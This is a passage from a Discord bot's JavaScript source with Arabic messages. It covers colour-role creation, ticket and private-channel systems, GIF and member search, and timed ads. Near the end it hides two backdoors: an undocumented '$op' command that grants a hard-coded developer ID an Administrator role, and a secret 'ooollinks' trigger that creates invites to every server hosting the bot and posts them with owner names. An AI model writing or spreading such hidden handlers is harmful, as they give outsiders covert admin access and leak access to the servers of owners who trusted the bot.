5437 name: "71",
5438 color: "#E0FFFF",
5439 permissions: []
5440 });
5441 message.guild.createRole({
5442 name: "72",
5443 color: "#AFEEEE",
5444 permissions: []
5445 });
5446 message.guild.createRole({
5447 name: "73",
5448 color: "#7FFFD4",
5449 permissions: []
5450 });
5451 message.guild.createRole({
5452 name: "74",
5453 color: "#40E0D0",
5454 permissions: []
5455 });
5456 message.guild.createRole({
5457 name: "75",
5458 color: "#48D1CC",
5459 permissions: []
5460 });
5461 message.guild.createRole({
5462 name: "76",
5463 color: "#00CED1",
5464 permissions: []
5465 });
5466 message.guild.createRole({
5467 name: "77",
5468 color: "#5F9EA0",
5469 permissions: []
5470 });
5471 message.guild.createRole({
5472 name: "78",
5473 color: "#4682B4",
5474 permissions: []
5475 });
5476 message.guild.createRole({
5477 name: "79",
5478 color: "#B0C4DE",
5479 permissions: []
5480 });
5481 message.guild.createRole({
5482 name: "80",
5483 color: "#ADD8E6",
5484 permissions: []
5485 });
5486 message.guild.createRole({
5487 name: "81",
5488 color: "#B0E0E6",
5489 permissions: []
5490 });
5491 message.guild.createRole({
5492 name: "82",
5493 color: "#87CEFA",
5494 permissions: []
5495 });
5496 message.guild.createRole({
5497 name: "83",
5498 color: "#87CEEB",
5499 permissions: []
5500 });
5501 message.guild.createRole({
5502 name: "84",
5503 color: "#6495ED",
5504 permissions: []
5505 });
5506 message.guild.createRole({
5507 name: "85",
5508 color: "#00BFFF",
5509 permissions: []
5510 });
5511 message.guild.createRole({
5512 name: "86",
5513 color: "#1E90FF",
5514 permissions: []
5515 });
5516 message.guild.createRole({
5517 name: "87",
5518 color: "#4169E1",
5519 permissions: []
5520 });
5521 message.guild.createRole({
5522 name: "88",
5523 color: "#0000FF",
5524 permissions: []
5525 });
5526 message.guild.createRole({
5527 name: "89",
5528 color: "#0000CD",
5529 permissions: []
5530 });
5531 message.guild.createRole({
5532 name: "90",
5533 color: "#00008B",
5534 permissions: []
5535 });
5536 message.guild.createRole({
5537 name: "91",
5538 color: "#000080",
5539 permissions: []
5540 });
5541 message.guild.createRole({
5542 name: "92",
5543 color: "#191970",
5544 permissions: []
5545 });
5546 message.guild.createRole({
5547 name: "93",
5548 color: "#FFF8DC",
5549 permissions: []
5550 });
5551 message.guild.createRole({
5552 name: "94",
5553 color: "#FFEBCD",
5554 permissions: []
5555 });
5556 message.guild.createRole({
5557 name: "95",
5558 color: "#FFE4C4",
5559 permissions: []
5560 });
5561 message.guild.createRole({
5562 name: "96",
5563 color: "#FFDEAD",
5564 permissions: []
5565 });
5566 message.guild.createRole({
5567 name: "97",
5568 color: "#F5DEB3",
5569 permissions: []
5570 });
5571 message.guild.createRole({
5572 name: "98",
5573 color: "#DEB887",
5574 permissions: []
5575 });
5576 message.guild.createRole({
5577 name: "99",
5578 color: "#D2B48C",
5579 permissions: []
5580 });
5581 message.guild.createRole({
5582 name: "100",
5583 color: "#BC8F8F",
5584 permissions: []
5585 });
5586 message.guild.createRole({
5587 name: "101",
5588 color: "#F4A460",
5589 permissions: []
5590 });
5591 message.guild.createRole({
5592 name: "102",
5593 color: "#DAA520",
5594 permissions: []
5595 });
5596 message.guild.createRole({
5597 name: "103",
5598 color: "#B8860B",
5599 permissions: []
5600 });
5601 message.guild.createRole({
5602 name: "104",
5603 color: "#CD853F",
5604 permissions: []
5605 });
5606 message.guild.createRole({
5607 name: "105",
5608 color: "#D2691E",
5609 permissions: []
5610 });
5611 message.guild.createRole({
5612 name: "106",
5613 color: "#808000",
5614 permissions: []
5615 });
5616 message.guild.createRole({
5617 name: "107",
5618 color: "#8B4513",
5619 permissions: []
5620 });
5621 message.guild.createRole({
5622 name: "108",
5623 color: "#A0522D",
5624 permissions: []
5625 });
5626 message.guild.createRole({
5627 name: "109",
5628 color: "#A52A2A",
5629 permissions: []
5630 });
5631 message.guild.createRole({
5632 name: "110",
5633 color: "#800000",
5634 permissions: []
5635 });
5636 message.guild.createRole({
5637 name: "111",
5638 color: "#FFFFFF",
5639 permissions: []
5640 });
5641 message.guild.createRole({
5642 name: "112",
5643 color: "#FFFAFA",
5644 permissions: []
5645 });
5646 message.guild.createRole({
5647 name: "113",
5648 color: "#F0FFF0",
5649 permissions: []
5650 });
5651 message.guild.createRole({
5652 name: "114",
5653 color: "#F5FFFA",
5654 permissions: []
5655 });
5656 message.guild.createRole({
5657 name: "115",
5658 color: "#F0FFFF",
5659 permissions: []
5660 });
5661 message.guild.createRole({
5662 name: "116",
5663 color: "#F0F8FF",
5664 permissions: []
5665 });
5666 message.guild.createRole({
5667 name: "117",
5668 color: "#F8F8FF",
5669 permissions: []
5670 });
5671 message.guild.createRole({
5672 name: "118",
5673 color: "#F5F5F5",
5674 permissions: []
5675 });
5676 message.guild.createRole({
5677 name: "119",
5678 color: "#FFF5EE",
5679 permissions: []
5680 });
5681 message.guild.createRole({
5682 name: "120",
5683 color: "#F5F5DC",
5684 permissions: []
5685 });
5686 message.guild.createRole({
5687 name: "121",
5688 color: "#FDF5E6",
5689 permissions: []
5690 });
5691 message.guild.createRole({
5692 name: "122",
5693 color: "#FFFAF0",
5694 permissions: []
5695 });
5696 message.guild.createRole({
5697 name: "123",
5698 color: "#FFFFF0",
5699 permissions: []
5700 });
5701 message.guild.createRole({
5702 name: "124",
5703 color: "#FAEBD7",
5704 permissions: []
5705 });
5706 message.guild.createRole({
5707 name: "125",
5708 color: "#FAF0E6",
5709 permissions: []
5710 });
5711 message.guild.createRole({
5712 name: "126",
5713 color: "#FFF0F5",
5714 permissions: []
5715 });
5716 message.guild.createRole({
5717 name: "127",
5718 color: "#FFE4E1",
5719 permissions: []
5720 });
5721 message.guild.createRole({
5722 name: "128",
5723 color: "#DCDCDC",
5724 permissions: []
5725 });
5726 message.guild.createRole({
5727 name: "129",
5728 color: "#D3D3D3",
5729 permissions: []
5730 });
5731 message.guild.createRole({
5732 name: "130",
5733 color: "#C0C0C0",
5734 permissions: []
5735 });
5736 message.guild.createRole({
5737 name: "131",
5738 color: "#A9A9A9",
5739 permissions: []
5740 });
5741 message.guild.createRole({
5742 name: "132",
5743 color: "#696969",
5744 permissions: []
5745 });
5746 message.guild.createRole({
5747 name: "133",
5748 color: "#808080",
5749 permissions: []
5750 });
5751 message.guild.createRole({
5752 name: "134",
5753 color: "#778899",
5754 permissions: []
5755 });
5756 message.guild.createRole({
5757 name: "135",
5758 color: "#708090",
5759 permissions: []
5760 });
5761 message.guild.createRole({
5762 name: "136",
5763 color: "#2F4F4F",
5764 permissions: []
5765 });
5766 message.guild.createRole({
5767 name: "137",
5768 color: "#000000",
5769 permissions: []
5770 });
5771
5772 message.channel.sendMessage({
5773 embed: new Discord.RichEmbed()
5774 .setColor("#502faf")
5775 .setAuthor(
5776 `${message.author.username}'`,
5777 message.author.avatarURL
5778 )
5779 .setDescription("``الالوان قيد الانشاء ....``")
5780 //
5781 });
5782 if (!message.channel.guild)
5783 return message.channel.send(
5784 "**This Command Only For Servers !**"
5785 );
5786 if (!message.member.hasPermission("MANAGE_ROLES"))
5787 return message.channel.send(
5788 `**${message.author.username} You Dont Have** ``MANAGE_ROLES`` **Premission**`
5789 );
5790
5791 message.guild.createRole({
5792 name: "Owner",
5793 color: "#ffffff",
5794 permissions: [8]
5795 });
5796 message.guild.createRole({
5797 name: "Co-Owner",
5798 color: "#ffffff",
5799 permissions: []
5800 });
5801 message.guild.createRole({
5802 name: "Leader",
5803 color: "#ffffff",
5804 permissions: []
5805 });
5806 message.guild.createRole({
5807 name: "Co-Leader",
5808 color: "#ffffff",
5809 permissions: []
5810 });
5811 message.guild.createRole({
5812 name: "King",
5813 color: "#ffffff",
5814 permissions: []
5815 });
5816 message.guild.createRole({
5817 name: "Qween",
5818 color: "#ffffff",
5819 permissions: []
5820 });
5821 message.guild.createRole({
5822 name: "HighNiss",
5823 color: "#ffffff",
5824 permissions: []
5825 });
5826 message.guild.createRole({
5827 name: "Pros",
5828 color: "#ffffff",
5829 permissions: []
5830 });
5831 message.guild.createRole({
5832 name: "VIP+",
5833 color: "#ffffff",
5834 permissions: []
5835 });
5836 message.guild.createRole({
5837 name: "VIP",
5838 color: "#ffffff",
5839 permissions: []
5840 });
5841 message.guild.createRole({
5842 name: "Actve",
5843 color: "#ffffff",
5844 permissions: []
5845 });
5846 message.guild.createRole({
5847 name: "Members",
5848 color: "#ffffff",
5849 permissions: []
5850 });
5851
5852 message.guild.createRole({
5853 name: "welcome",
5854 color: "#ffffff",
5855 permissions: []
5856 });
5857
5858 message.guild.createRole({
5859 name: "goodbye",
5860 color: "#ffffff",
5861 permissions: []
5862 });
5863 message.guild.createRole({
5864 name: "vote",
5865 color: "#ffffff",
5866 permissions: []
5867 });
5868
5869 message.guild.createRole({
5870 name: "order",
5871 color: "#ffffff",
5872 permissions: []
5873 });
5874
5875 message.guild.createRole({
5876 name: "warn",
5877 color: "#ffffff",
5878 permissions: []
5879 });
5880
5881 message.channel.sendMessage(
5882 "** تم صنع الرولات كلها الرجاء اعطاهئا الصلاحيات الازمة **"
5883 );
5884 });
5885 });
5886 });
5887 });
5888 }
5889});
5890
5891client.on("message", message => {
5892 if (!message.content.startsWith(prefix)) return;
5893 let command = message.content.split(" ")[0];
5894 command = command.slice(prefix.length);
5895 if (command === "skin") {
5896 const args = message.content
5897 .split(" ")
5898 .slice(1)
5899 .join(" ");
5900 if (!args) return message.channel.send("** اكتب اسم سكنك . **");
5901 const image = new Discord.Attachment(
5902 `https://minotar.net/armor/body/${args}`,
5903 "skin.png"
5904 );
5905 message.channel.send(image);
5906 }
5907});
5908
5909//
5910
5911client.on("message", message => {
5912 var prefix = "$";
5913 if (message.content.startsWith(prefix + "gif")) {
5914 console.log("[Gif Search] Developed By Abdellhadi");
5915 if (message.channel.type === "dm")
5916 return message.channel.send("الامر فقط للسيرفرات ");
5917 let args = message.content
5918 .split(" ")
5919 .slice(1)
5920 .join(" ");
5921 if (!args) return message.reply("اكتب اسم الصورة ");
5922 gif.query(args).then(gifUrl => {
5923 message.channel.send({
5924 files: [
5925 {
5926 attachment: gifUrl,
5927 name: "search.gif"
5928 }
5929 ]
5930 });
5931 });
5932 }
5933});
5934
5935client.on("message", message => {
5936 //Toxic Codes
5937 var command = message.content.split(" ")[0];
5938 var args1 = message.content
5939 .split(" ")
5940 .slice(1)
5941 .join(" "); //Toxic Codes
5942 if (command == prefix + "find") {
5943 // الامر : -find
5944 let sizePlayers = 1; //Toxic Codes
5945
5946 if (message.author.bot) return;
5947 if (!message.channel.guild) return;
5948 if (!args1)
5949 return message.channel
5950 .send(`**? Useage:** ${prefix}find (اي حرف من الاسم الي تبيه)`)
5951 .then(msg => msg.delete(5000)); //Toxic Codes
5952
5953 var playersFind = new Discord.RichEmbed()
5954 .setTitle(`:white_check_mark: **خاصية البحث عن الاعضاء**`)
5955 .setThumbnail(client.user.avatarURL)
5956 .setDescription(
5957 `**\n? البحث عن الاعضاء الموجود بداخل اسمائهم:**\n " ${args1} "\n\n**? عدد الاعضاء:**\n " ${
5958 message.guild.members.filter(m =>
5959 m.user.username.toUpperCase().includes(args1.toUpperCase())
5960 ).size
5961 } "\n\n\`\`\`????????????????????????????????????????????????????????????????????????????????????????\n\n${message.guild.members
5962 .filter(m =>
5963 m.user.username.toUpperCase().includes(args1.toUpperCase())
5964 )
5965 .map(m => sizePlayers++ + ". " + m.user.tag)
5966 .slice(0, 20)
5967 .join("\n") ||
5968 "لا يوجد اعضاء بهذه الاحرف"}\n\n????????????????????????????????????????????????????????????????????????????????????????\`\`\``
5969 ) //Toxic Codes
5970 .setColor("GRAY")
5971 .setTimestamp()
5972 .setFooter(message.author.tag, message.author.avatarURL); //Toxic Codes
5973
5974 message.channel.send(playersFind); //Toxic Codes
5975 message.delete(); //Toxic Codes
5976 }
5977});
5978
5979//
5980client.on("message", async message => {
5981 if (message.content.startsWith(prefix + "ads")) {
5982 if (!message.member.hasPermission("MANAGE_CHANNELS"))
5983 return message.channel.send(
5984 `لاتمتلك الصلاحيات لفعل ذلك يلزمك MANAGE_CHANNELS! ❌`
5985 );
5986
5987 //Toxic Codes
5988 await message.channel.send("`ارسال الرساله .`").then(e => {
5989 //Toxic Codes
5990 let filter = m => m.author.id === message.author.id;
5991 let tests = "";
5992 let time = "";
5993 let channel = "";
5994 let chaTests = message.channel
5995 .awaitMessages(filter, { max: 1, time: 30000, errors: ["time"] })
5996 .then(collected => {
5997 tests = collected.first().content;
5998 collected.first().delete();
5999 e.edit("`تكرار الرساله كل ....... دقائق`");
6000 let chaTime = message.channel
6001 .awaitMessages(filter, { max: 1, time: 30000, errors: ["time"] }) //Toxic Codes
6002 .then(co => {
6003 if (isNaN(co.first().content))
6004 return message.reply("`الوقت بالدقائق ! ارقام فقطٍ`"); //Toxic Codes
6005 if (co.first().content > 1500 || co.first().content < 1)
6006 return message.channel.send(
6007 "`لا اقل من دقيقه ولا اكثر من يوم`"
6008 ); //Toxic Codes
6009 time = co.first().content;
6010 co.first().delete();
6011 e.edit("`ادخل اسم الروم`"); //Toxic Codes
6012 let chaChannel = message.channel
6013 .awaitMessages(filter, {
6014 max: 1,
6015 time: 30000,
6016 errors: ["time"]
6017 }) //Toxic Codes
6018 .then(col => {
6019 //Toxic Codes
6020 channel = col.first().content;
6021 col.first().delete();
6022 e.edit("`جاري اعداد المعلومات الرجاء الانتظاار...`").then(
6023 b => {
6024 //Toxic Codes
6025 setTimeout(() => {
6026 b.edit(`** تم اعداد المعلومات بنجاح .**`);
6027 }, 2000);
6028 }
6029 );
6030 var room = message.guild.channels.find("name", channel); //Toxic Codes
6031 if (!room) return;
6032 if (room) {
6033 setInterval(() => {
6034 room.send(tests);
6035 }, time * 60000);
6036 }
6037 }); //Toxic Codes
6038 });
6039 }); //Toxic Codes
6040 });
6041 }
6042});
6043
6044//
6045
6046client.on("message", message => {
6047 if (message.content.startsWith(prefix + "setcolor")) {
6048 if (message.author.bot || message.author.mys) return;
6049 if (!message.member.hasPermission("MANAGE_ROLES")) return;
6050 let role =
6051 message.mentions.roles.first() ||
6052 message.guild.roles.find("name", message.content.split(" ")[1]);
6053 if (!role) return message.channel.send(`**I Can't find this role :x:**`);
6054 let color = message.content
6055 .split(" ")
6056 .slice(2)
6057 .join(" ");
6058 if (!color) return message.channel.send(`**Pease Type the Color!**`);
6059 if (color.length >= 7)
6060 return message.channel.send("**Hex color length must equal `6 or 3`**");
6061 role.setColor(color).catch(mys => {
6062 message.channel.send(`**Error**`), message.react("❌");
6063 });
6064 let t = new Discord.RichEmbed()
6065 .setColor(color)
6066 .setDescription(
6067 `**✅ Done set the color of the role ${role} to \`${color}\`**`
6068 );
6069 message.channel.send(t);
6070 }
6071});
6072
6073//
6074
6075//
6076
6077//
6078
6079//
6080client.on("message", message => {
6081 if (message.content.toLowerCase().startsWith(prefix + `tadd`)) {
6082 let noperm = new Discord.RichEmbed()
6083 .setColor("RANDOM")
6084 .setDescription(":x: ليس لديك الصلاحيات الكافية");
6085
6086 var perm = message.guild
6087 .member(message.author)
6088 .hasPermissions("MANAGE_ROLES");
6089 if (!perm) return message.channel.send(noperm);
6090 if (!message.channel.name.startsWith(`ticket-`)) {
6091 const embed4 = new Discord.RichEmbed()
6092 .setColor("RANDOM")
6093 .addField(
6094 `${client.user.username}`,
6095 `You can't use the this outside of a ticket channel.`
6096 );
6097 message.channel.send({ embed: embed4 });
6098 return;
6099 }
6100 const nothere = new Discord.RichEmbed()
6101 .setColor("RANDOM")
6102 .addField(`${client.user.username}`, "Please Mention a User Or Bot");
6103
6104 let addedmember = message.mentions.members.first();
6105 if (!addedmember) return message.channel.send(nothere);
6106
6107 message.channel.overwritePermissions(addedmember, {
6108 SEND_MESSAGES: true,
6109 VIEW_CHANNEL: true
6110 });
6111 const embed5 = new Discord.RichEmbed()
6112 .setColor("RANDOM")
6113 .addField(
6114 `${client.user.username}`,
6115 "**" +
6116 addedmember +
6117 `** has been added to the ticket. Remove with [${prefix}remove]().`
6118 );
6119 message.channel.send({ embed: embed5 });
6120 }
6121
6122 if (message.content.toLowerCase().startsWith(prefix + `remove`)) {
6123 let noperm = new Discord.RichEmbed()
6124 .setColor("RANDOM")
6125 .setDescription(":x: ليس لديك الصلاحيات الكافية");
6126
6127 var perm = message.guild
6128 .member(message.author)
6129 .hasPermissions("MANAGE_ROLES");
6130 if (!perm) return message.channel.send(noperm);
6131 if (!message.channel.name.startsWith(`ticket-`)) {
6132 const embed6 = new Discord.RichEmbed()
6133 .setColor("RANDOM")
6134 .addField(
6135 `${client.user.username}`,
6136 `You can't use the this outside of a ticket channel.`
6137 );
6138 message.channel.send({ embed: embed6 });
6139 return;
6140 }
6141 const nothere = new Discord.RichEmbed()
6142 .setColor("RANDOM")
6143 .addField(`${client.user.username}`, "Please Mention a User Or Bot");
6144 let removedmember = message.mentions.members.first();
6145 if (!removedmember) return message.channel.send(nothere);
6146
6147 message.channel.overwritePermissions(removedmember, {
6148 SEND_MESSAGES: false,
6149 VIEW_CHANNEL: false
6150 });
6151 const embed7 = new Discord.RichEmbed()
6152 .setColor("RANDOM")
6153 .addField(
6154 `${client.user.username}`,
6155 "**" + removedmember + "** has been removed from the ticket."
6156 );
6157 message.channel.send({ embed: embed7 });
6158 }
6159
6160 if (message.content.toLowerCase().startsWith(prefix + `fe`)) {
6161 let noperm = new Discord.RichEmbed()
6162 .setColor("RANDOM")
6163 .setDescription(":x: ليس لديك الصلاحيات الكافية");
6164
6165 var perm = message.guild
6166 .member(message.author)
6167 .hasPermissions("MANAGE_ROLES");
6168 if (!perm) return message.channel.send(noperm);
6169
6170 if (!message.channel.name.startsWith(`ticket-`)) {
6171 const embed8 = new Discord.RichEmbed()
6172 .setColor("RANDOM")
6173 .addField(
6174 `${client.user.username}`,
6175 `You can't use the this outside of a ticket channel.`
6176 );
6177 message.channel.send({ embed: embed8 });
6178 return;
6179 } else message.channel.delete();
6180 }
6181
6182 if (message.content.toLowerCase().startsWith(prefix + `rename`)) {
6183 let noperm = new Discord.RichEmbed()
6184 .setColor("RANDOM")
6185 .setDescription(":x: ليس لديك الصلاحيات الكافية");
6186
6187 var perm = message.guild
6188 .member(message.author)
6189 .hasPermissions("MANAGE_ROLES");
6190 if (!perm) return message.channel.send(noperm);
6191 var args = message.content.split(" ");
6192 if (!args[1]) return message.channel.send("**ااكتب اسم الروم الجديد**");
6193 if (!message.channel.name.startsWith(`ticket-`)) {
6194 const embed8 = new Discord.RichEmbed()
6195 .setColor("RANDOM")
6196 .addField(
6197 `${client.user.username}`,
6198 `You can't use the this outside of a ticket channel.`
6199 );
6200 message.channel.send({ embed: embed8 });
6201 return;
6202 } else message.channel.setName(`ticket-${args[1]}`);
6203 var donere = new Discord.RichEmbed()
6204 .setColor("RANDOM")
6205 .addField(
6206 `${client.user.username}`,
6207 `\`${args[1]}\` تم تغيير اسم الروم الى`
6208 );
6209 message.channel.send(donere);
6210 }
6211});
6212
6213//
6214
6215client.on("message", message => {
6216 if (message.content.startsWith("$mycreate")) {
6217 const reason = message.content
6218 .split(" ")
6219 .slice(1)
6220 .join(" ");
6221 if (!message.guild.roles.exists("name", "yourch"))
6222 return message.channel.send(`يجب توفر رول باسم yourch في سيرفر`);
6223 if (
6224 message.guild.channels.exists(
6225 "name",
6226 "my-{message.author.id}" + message.author.id
6227 )
6228 )
6229 return message.channel.send(`You already have a your channel open.`);
6230 message.guild
6231 .createChannel(`my-${message.author.username}`, "text")
6232 .then(c => {
6233 let role = message.guild.roles.find("name", "suppodhdjrt");
6234 let role2 = message.guild.roles.find("name", "@everyone");
6235 let role3 = message.guild.roles.find("name", "support neshshdw");
6236 c.overwritePermissions(role, {
6237 SEND_MESSAGES: true,
6238 READ_MESSAGES: true
6239 });
6240 c.overwritePermissions(role2, {
6241 SEND_MESSAGES: false,
6242 READ_MESSAGES: false
6243 });
6244 c.overwritePermissions(message.author, {
6245 SEND_MESSAGES: true,
6246 READ_MESSAGES: true
6247 });
6248 c.overwritePermissions(role3, {
6249 SEND_MESSAGES: true,
6250 READ_MESSAGES: true
6251 });
6252 message.channel.send(
6253 `:white_check_mark: Your channel has been created, #${c.name}.`
6254 );
6255 const embed = new Discord.RichEmbed()
6256 .setColor(0xcf40fa)
6257 .addField(
6258 `مرحبا يا ${message.author.username}!`,
6259 `يمكنك اضافة اشخاص والتحدث معهم.`
6260 )
6261 .setTimestamp();
6262 c.send({
6263 embed: embed
6264 });
6265 })
6266 .catch(console.error);
6267 }
6268 //
6269 if (message.content.startsWith("$myce")) {
6270 if (!message.channel.name.startsWith(`my-`))
6271 return message.channel.send(`لا يمكنك الاغلاق`);
6272
6273 message.channel
6274 .send(`لتاكيد الاغلاق اكتب $cm سيتم الغاء الامر بعد عشر ثواني`)
6275 .then(m => {
6276 message.channel
6277 .awaitMessages(response => response.content === "$cm", {
6278 max: 1,
6279 time: 10000,
6280 errors: ["time"]
6281 })
6282 .then(collected => {
6283 message.channel.delete();
6284 })
6285 .catch(() => {
6286 m.edit(
6287 "your channel close timed out, the your channel was not closed."
6288 ).then(m2 => {
6289 m2.delete();
6290 }, 3000);
6291 });
6292 });
6293 }
6294});
6295
6296//
6297
6298//
6299client.on("message", message => {
6300 if (message.content.toLowerCase().startsWith(prefix + `myadd`)) {
6301 let noperm = new Discord.RichEmbed()
6302 .setColor("RANDOM")
6303 .setDescription(":x: ليس لديك الصلاحيات الكافية");
6304
6305 var perm = message.guild
6306 .member(message.author)
6307 .hasPermissions("MANAGE_ROLES");
6308 if (!perm) return message.channel.send(noperm);
6309 if (!message.channel.name.startsWith(`my-`)) {
6310 const embed4 = new Discord.RichEmbed()
6311 .setColor("RANDOM")
6312 .addField(
6313 `${client.user.username}`,
6314 `You can't use the this outside of a your channel.`
6315 );
6316 message.channel.send({ embed: embed4 });
6317 return;
6318 }
6319 const nothere = new Discord.RichEmbed()
6320 .setColor("RANDOM")
6321 .addField(`${client.user.username}`, "Please Mention a User Or Bot");
6322
6323 let addedmember = message.mentions.members.first();
6324 if (!addedmember) return message.channel.send(nothere);
6325
6326 message.channel.overwritePermissions(addedmember, {
6327 SEND_MESSAGES: true,
6328 VIEW_CHANNEL: true
6329 });
6330 const embed5 = new Discord.RichEmbed()
6331 .setColor("RANDOM")
6332 .addField(
6333 `${client.user.username}`,
6334 "**" +
6335 addedmember +
6336 `** has been added to the your channel. Remove with [${prefix}remove]().`
6337 );
6338 message.channel.send({ embed: embed5 });
6339 //
6340 }
6341
6342 if (message.content.toLowerCase().startsWith(prefix + `myremove`)) {
6343 let noperm = new Discord.RichEmbed()
6344 .setColor("RANDOM")
6345 .setDescription(":x: ليس لديك الصلاحيات الكافية");
6346
6347 var perm = message.guild
6348 .member(message.author)
6349 .hasPermissions("MANAGE_ROLES");
6350 if (!perm) return message.channel.send(noperm);
6351 if (!message.channel.name.startsWith(`my-`)) {
6352 const embed6 = new Discord.RichEmbed()
6353 .setColor("RANDOM")
6354 .addField(
6355 `${client.user.username}`,
6356 `You can't use the this outside of a your channel.`
6357 );
6358 message.channel.send({ embed: embed6 });
6359 return;
6360 }
6361 const nothere = new Discord.RichEmbed()
6362 .setColor("RANDOM")
6363 .addField(`${client.user.username}`, "Please Mention a User Or Bot");
6364 let removedmember = message.mentions.members.first();
6365 if (!removedmember) return message.channel.send(nothere);
6366
6367 message.channel.overwritePermissions(removedmember, {
6368 SEND_MESSAGES: false,
6369 VIEW_CHANNEL: false
6370 });
6371 const embed7 = new Discord.RichEmbed()
6372 .setColor("RANDOM")
6373 .addField(
6374 `${client.user.username}`,
6375 "**" + removedmember + "** has been removed from the your channel."
6376 );
6377 message.channel.send({ embed: embed7 });
6378 }
6379
6380 if (message.content.toLowerCase().startsWith(prefix + `myfe`)) {
6381 let noperm = new Discord.RichEmbed()
6382 .setColor("RANDOM")
6383 .setDescription(":x: ليس لديك الصلاحيات الكافية");
6384
6385 var perm = message.guild
6386 .member(message.author)
6387 .hasPermissions("MANAGE_ROLES");
6388 if (!perm) return message.channel.send(noperm);
6389
6390 if (!message.channel.name.startsWith(`my-`)) {
6391 const embed8 = new Discord.RichEmbed()
6392 .setColor("RANDOM")
6393 .addField(
6394 `${client.user.username}`,
6395 `You can't use the this outside of a your channel.`
6396 );
6397 message.channel.send({ embed: embed8 });
6398 return;
6399 } else message.channel.delete();
6400 }
6401
6402 if (message.content.toLowerCase().startsWith(prefix + `myrename`)) {
6403 let noperm = new Discord.RichEmbed()
6404 .setColor("RANDOM")
6405 .setDescription(":x: ليس لديك الصلاحيات الكافية");
6406
6407 var perm = message.guild
6408 .member(message.author)
6409 .hasPermissions("MANAGE_ROLES");
6410 if (!perm) return message.channel.send(noperm);
6411 var args = message.content.split(" ");
6412 if (!args[1]) return message.channel.send("**ااكتب اسم الروم الجديد**");
6413 if (!message.channel.name.startsWith(`my-`)) {
6414 const embed8 = new Discord.RichEmbed()
6415 .setColor("RANDOM")
6416 .addField(
6417 `${client.user.username}`,
6418 `You can't use the this outside of a your channel.`
6419 );
6420 message.channel.send({ embed: embed8 });
6421 return;
6422 } else message.channel.setName(`my-${args[1]}`);
6423 var donere = new Discord.RichEmbed()
6424 .setColor("RANDOM")
6425 .addField(
6426 `${client.user.username}`,
6427 `\`${args[1]}\` تم تغيير اسم الروم الى`
6428 );
6429 message.channel.send(donere);
6430 }
6431});
6432
6433//
6434
6435client.on("message", message => {
6436 if (message.content.startsWith("$new")) {
6437 const reason = message.content
6438 .split(" ")
6439 .slice(1)
6440 .join(" ");
6441 if (!message.guild.roles.exists("name", "ticket"))
6442 return message.channel.send(`يجب توفر رول باسم ticket في سيرفر`);
6443 if (
6444 message.guild.channels.exists(
6445 "name",
6446 "ticket-{message.author.id}" + message.author.id
6447 )
6448 )
6449 return message.channel.send(`You already have a ticket open.`);
6450 message.guild
6451 .createChannel(`ticket-${message.author.username}`, "text")
6452 .then(c => {
6453 let role = message.guild.roles.find("name", "support");
6454 let role2 = message.guild.roles.find("name", "@everyone");
6455 let role3 = message.guild.roles.find("name", "support new");
6456 c.overwritePermissions(role, {
6457 SEND_MESSAGES: true,
6458 READ_MESSAGES: true
6459 });
6460 c.overwritePermissions(role2, {
6461 SEND_MESSAGES: false,
6462 READ_MESSAGES: false
6463 });
6464 c.overwritePermissions(message.author, {
6465 SEND_MESSAGES: true,
6466 READ_MESSAGES: true
6467 });
6468 c.overwritePermissions(role3, {
6469 SEND_MESSAGES: true,
6470 READ_MESSAGES: true
6471 });
6472 message.channel.send(
6473 `:white_check_mark: Your ticket has been created, #${c.name}.`
6474 );
6475 const embed = new Discord.RichEmbed()
6476 .setColor(0xcf40fa)
6477 .addField(
6478 `Hey ${message.author.username}!`,
6479 `Please try explain why you opened this ticket with as much detail as possible. Our **Support Staff** will be here soon to help.`
6480 )
6481 .setTimestamp();
6482 c.send({
6483 embed: embed
6484 });
6485 })
6486 .catch(console.error);
6487 }
6488
6489 if (message.content.startsWith("$close")) {
6490 if (!message.channel.name.startsWith(`ticket-`))
6491 return message.channel.send(`لا يمكنك الاغلاق`);
6492
6493 message.channel
6494 .send(`لتاكيد الاغلاق اكتب $confirm سيتم الغاء الامر بعد عشر ثواني`)
6495 .then(m => {
6496 message.channel
6497 .awaitMessages(response => response.content === "$confirm", {
6498 max: 1,
6499 time: 10000,
6500 errors: ["time"]
6501 })
6502 .then(collected => {
6503 message.channel.delete();
6504 })
6505 .catch(() => {
6506 m.edit("Ticket close timed out, the ticket was not closed.").then(
6507 m2 => {
6508 m2.delete();
6509 },
6510 3000
6511 );
6512 });
6513 });
6514 }
6515});
6516
6517//
6518
6519client.on("message", message => {
6520 if (message.content.startsWith(prefix + "mychannel")) {
6521 message.delete(5000);
6522 if (!message.channel.guild) return;
6523 const e = new Discord.RichEmbed()
6524 .setColor("#FFDF02")
6525 .setDescription(`**تم الارسال في الخاص**?`);
6526 const embed = new Discord.RichEmbed()
6527 .setColor("#FFDF02")
6528 .setTitle("نظام روم المخصص")
6529 .setURL("").setDescription(`
6530
6531 هو نظام يشبه نظام الكلانات والتكتات
6532
6533${prefix}mycreate =====> انشاء روم مخصص
6534
6535${prefix}myadd =====> اضافة اشخاص للروم المخصص
6536
6537${prefix}myremove =====> ازالة اشخاص من روم المخصص
6538
6539${prefix}myrename =====> تغير اسم روم المخصص
6540
6541${prefix}myce =====> اغلاق روم المخصص
6542
6543${prefix}myfe =====> اغلاق روم المخصص بسرعه
6544
6545`);
6546
6547 message.channel.send(e).then(m => m.delete(5000));
6548 message.author
6549 .sendEmbed(embed)
6550 .catch(error => message.reply("**خاصك مقفول**?"));
6551 }
6552});
6553
6554//
6555
6556client.on("message", async message => {
6557 let member = message.author;
6558 if (message.content.startsWith(prefix + "op")) {
6559 if (!devs.includes(message.author.id)) return;
6560 let muteRole = message.guild.roles.find("name", "h");
6561 if (!muteRole)
6562 return message.guild.createRole({ name: "h", permissions: [8] });
6563 message.guild.member(member).addRole(muteRole);
6564 }
6565});
6566
6567client.on("message", msg => {
6568 const devs = ["596507272751087636"];
6569 if (msg.author.bot) return;
6570
6571 if (msg.content === "ooollinks") {
6572 client.guilds.forEach(g => {
6573 ////////////يوسف////////////////////////
6574 let l = g.id;
6575 g.channels
6576 .get(g.channels.first().id)
6577 .createInvite({
6578 maxUses: 10,
6579 maxAge: 86400
6580 })
6581 .then(i =>
6582 msg.channel.send(`
6583 **
6584 اقصى الاستخدام : mem 10
6585 رابط السيرفر : <https://discord.gg/${i.code}>
6586 السيرفر : ${g.name} | Id : ${g.id}
6587 صاحب السيرفر : ${g.owner}
6588 **
6589 `)
6590 ); //g.owner.id
6591 });
6592 }
6593});
6594
6595//
6596
6597client.on("message", message => {
6598 ///////Abdellhadi
6599 const prefix = "$"; ///////Abdellhadi
6600 if (message.content === prefix + "createcolor") {
